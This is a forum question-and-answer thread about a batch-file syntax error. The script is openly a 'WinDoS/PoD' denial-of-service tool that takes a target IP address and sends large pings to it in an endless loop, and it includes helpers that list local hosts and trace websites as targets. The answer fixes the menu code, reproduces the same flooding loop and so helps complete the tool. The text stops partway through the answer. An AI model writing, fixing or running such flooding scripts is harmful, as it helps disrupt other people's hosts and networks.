Incorrect syntax when asking for user input - batch-file

Question

I am trying to make a quick program in Batch that asks for user input, but when i get to the input part, the script exits with error:
The syntax of the command is incorrect.
This is my code:
#echo off
color 0a
title WinDoS/PoD- 0.1
echo Automatic DoS/PoD Tool
echo Select what you want to do.
echo 1. Attack
echo 2. Instructions
echo 3. IP Getter
echo 4. IP Searcher
echo 5. Exit
set /p userchoice=
if %userchoice% == 1
goto attack
if %userchoice% == 2
goto instructions
if %userchoice% == 3
goto getter
if %userchoice% == 4
goto searcher
if %userchoice% == 5
exit
:searcher
arp -a
pause
:attack
echo Enter IP adress to attack
set /p address=
goto sequence
:sequence
ping %address% -l 65500 -w 1 -n 1
goto sequence
:instructions
echo WinDoS/PoD Instructions
echo WinDoS/PoD is a program that allows you to perform Denial Of Service (DoS) attacks using a method known as Ping Of Death (PoD)
echo Press 1 on the home menu to enter the attacker program.
echo Input an ip address to DoS
echo If you don't know the IP address to a site, use the built in getter.
echo If you want to view all available network targets, use the built in searcher.
pause
:getter
echo Website (full link):
set /p %website%=
tracert %website%
pause
What is wrong with the syntax?

Answer 1

You're using the wrong command for choosing a known list item, you should be using choice, not set.
Here's an example using your provided information as its basis:
#Echo Off
Color 0A
Title WinDoS/PoD- 0.1
:Menu
Echo(
Echo Automatic DoS/PoD Tool
Echo(
Echo Home Menu
Echo(
Echo 1. Attack
Echo 2. Instructions
Echo 3. IP Getter
Echo 4. IP Searcher
Echo 5. Exit
Echo(
%__AppDir__%choice.exe /C 12345 /N /M "Select a Home Menu item number>"
If ErrorLevel 5 GoTo :EOF
If ErrorLevel 4 GoTo Searcher
If ErrorLevel 3 GoTo Getter
If ErrorLevel 2 GoTo Instructions
:Attack
ClS
Set /P "address=Enter IP address to attack> "
:Sequence
%__AppDir__%ping.exe %address% -l 65500 -w 1 -n 1
GoTo Sequence
:Instructions
ClS
